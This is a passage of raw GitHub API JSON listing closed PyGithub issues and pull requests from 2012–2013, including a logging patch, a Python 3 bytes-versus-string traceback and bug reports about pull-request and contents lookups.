1.8.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2012-09-12T19:53:14Z","updated_at":"2012-09-30T18:12:03Z","due_on":"2012-09-30T07:00:00Z"},"comments":5,"created_at":"2012-09-17T08:19:42Z","updated_at":"2012-09-25T20:57:52Z","closed_at":"2012-09-25T20:57:52Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/88","diff_url":"https://github.com/jacquev6/PyGithub/pull/88.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/88.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"I replaced the commented-out print statement in Requester.py with a call to Python [logging](http://docs.python.org/library/logging.html) so that users have the option to trace low-level api.github.com requests without having to hack their installed PyGithub package: they just put `logging.getLogger('github').setLevel(logging.DEBUG)` in their script.\n\nI don't have any strong opinion as to whether you should pull this change or not. I found it useful while debugging #87, you may decide you don't like it; no problem."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/131","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/131/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/131/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/131/events","html_url":"https://github.com/jacquev6/PyGithub/issues/131","id":9948505,"number":131,"title":"Fix PullRequestPart when using get_pulls() and the head user is an Organization","user":{"login":"sbesson","id":1355463,"avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","url":"https://api.github.com/users/sbesson","html_url":"https://github.com/sbesson","followers_url":"https://api.github.com/users/sbesson/followers","following_url":"https://api.github.com/users/sbesson/following{/other_user}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","organizations_url":"https://api.github.com/users/sbesson/orgs","repos_url":"https://api.github.com/users/sbesson/repos","events_url":"https://api.github.com/users/sbesson/events{/privacy}","received_events_url":"https://api.github.com/users/sbesson/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19/labels","id":234630,"number":19,"title":"Version 1.11.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-12-25T12:26:40Z","updated_at":"2013-02-07T18:18:31Z","due_on":"2013-02-08T08:00:00Z"},"comments":5,"created_at":"2013-01-14T16:46:39Z","updated_at":"2013-02-04T09:57:31Z","closed_at":"2013-02-03T17:33:11Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Error can be reproduced with the following example:\r\n```\r\nimport github\r\nrepo = github.Github().get_user(\"openmicroscopy\").get_repo(\"ome-documentation\")\r\n\r\nassert repo.get_pull(204).head.user.login == 'imcf'\r\n\r\nfor pr in list(repo.get_pulls('closed')):\r\n\tif pr.number == 204:\r\n\t\tassert pr.head.user is None\r\n```\r\n\r\n/cc @joshmoore"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/142","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/142/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/142/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/142/events","html_url":"https://github.com/jacquev6/PyGithub/issues/142","id":11503771,"number":142,"title":"Bug with Python 3?","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":null,"comments":5,"created_at":"2013-02-28T15:00:18Z","updated_at":"2013-03-03T19:08:21Z","closed_at":"2013-03-03T17:54:48Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi! \r\nI'm currently in the process of switching a program to python 3.2. I encounter the following problem: `TypeError: can't use a string pattern on a bytes-like object`\r\n\r\n```\r\nimport github\r\ngh_instance = github.Github('')\r\nuser = gh_instance.get_user()\r\nuser.name\r\n---------------------------------------------------------------------------\r\nTypeError Traceback (most recent call last)\r\n in ()\r\n----> 1 user.name\r\n\r\n/usr/local/lib/python3.2/dist-packages/github/AuthenticatedUser.py in name(self)\r\n 166 :type: string\r\n 167 \"\"\"\r\n--> 168 self._completeIfNotSet(self._name)\r\n 169 return self._NoneIfNotSet(self._name)\r\n 170 \r\n\r\n/usr/local/lib/python3.2/dist-packages/github/GithubObject.py in _completeIfNotSet(self, value)\r\n 61 def _completeIfNotSet(self, value):\r\n 62 if not self.__completed and value is NotSet:\r\n---> 63 self.__complete()\r\n 64 \r\n 65 def __complete(self):\r\n\r\n/usr/local/lib/python3.2/dist-packages/github/GithubObject.py in __complete(self)\r\n 68 self._url,\r\n 69 None,\r\n---> 70 None\r\n 71 )\r\n 72 self._useAttributes(data)\r\n\r\n/usr/local/lib/python3.2/dist-packages/github/Requester.py in requestJsonAndCheck(self, verb, url, parameters, input)\r\n 77 \r\n 78 def requestJsonAndCheck(self, verb, url, parameters, input):\r\n---> 79 return self.__check(*self.requestJson(verb, url, parameters, input))\r\n 80 \r\n 81 def requestMultipartAndCheck(self, verb, url, parameters, input):\r\n\r\n/usr/local/lib/python3.2/dist-packages/github/Requester.py in __check(self, status, responseHeaders, output)\r\n 83 \r\n 84 def __check(self, status, responseHeaders, output):\r\n---> 85 output = self.__structuredFromJson(output)\r\n 86 if status >= 400:\r\n 87 raise GithubException.GithubException(status, output)\r\n\r\n/usr/local/lib/python3.2/dist-packages/github/Requester.py in __structuredFromJson(self, data)\r\n 92 return None\r\n 93 else:\r\n---> 94 return json.loads(data)\r\n 95 \r\n 96 def requestJson(self, verb, url, parameters, input):\r\n\r\n/usr/lib/python3.2/json/__init__.py in loads(s, encoding, cls, object_hook, parse_float, parse_int, parse_constant, object_pairs_hook, **kw)\r\n 307 parse_int is None and parse_float is None and\r\n 308 parse_constant is None and object_pairs_hook is None and not kw):\r\n--> 309 return _default_decoder.decode(s)\r\n 310 if cls is None:\r\n 311 cls = JSONDecoder\r\n\r\n/usr/lib/python3.2/json/decoder.py in decode(self, s, _w)\r\n 351 \r\n 352 \"\"\"\r\n--> 353 obj, end = self.raw_decode(s, idx=_w(s, 0).end())\r\n 354 end = _w(s, end).end()\r\n 355 if end != len(s):\r\n\r\nTypeError: can't use a string pattern on a bytes-like object\r\n```\r\nIt's `PyGithub-1.12.1` installed via `pip-3.2` and python `'3.2.3 (default, Oct 19 2012, 19:53:57) \\n[GCC 4.7.2]'`"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/140","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/140/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/140/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/140/events","html_url":"https://github.com/jacquev6/PyGithub/issues/140","id":10922412,"number":140,"title":"Repository.get_contents does not return directory information","user":{"login":"ksookocheff-va","id":2529590,"avatar_url":"https://secure.gravatar.com/avatar/ae7eed65e46234c210912a1e474f2f1c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ae7eed65e46234c210912a1e474f2f1c","url":"https://api.github.com/users/ksookocheff-va","html_url":"https://github.com/ksookocheff-va","followers_url":"https://api.github.com/users/ksookocheff-va/followers","following_url":"https://api.github.com/users/ksookocheff-va/following{/other_user}","gists_url":"https://api.github.com/users/ksookocheff-va/gists{/gist_id}","starred_url":"https://api.github.com/users/ksookocheff-va/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ksookocheff-va/subscriptions","organizations_url":"https://api.github.com/users/ksookocheff-va/orgs","repos_url":"https://api.github.com/users/ksookocheff-va/repos","events_url":"https://api.github.com/users/ksookocheff-va/events{/privacy}","received_events_url":"https://api.github.com/users/ksookocheff-va/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/22","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/22/labels","id":266004,"number":22,"title":"Version 1.12.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":2,"state":"closed","created_at":"2013-02-13T07:10:18Z","updated_at":"2013-02-20T18:45:16Z","due_on":null},"comments":6,"created_at":"2013-02-12T19:53:26Z","updated_at":"2013-02-16T22:45:00Z","closed_at":"2013-02-16T18:14:01Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API 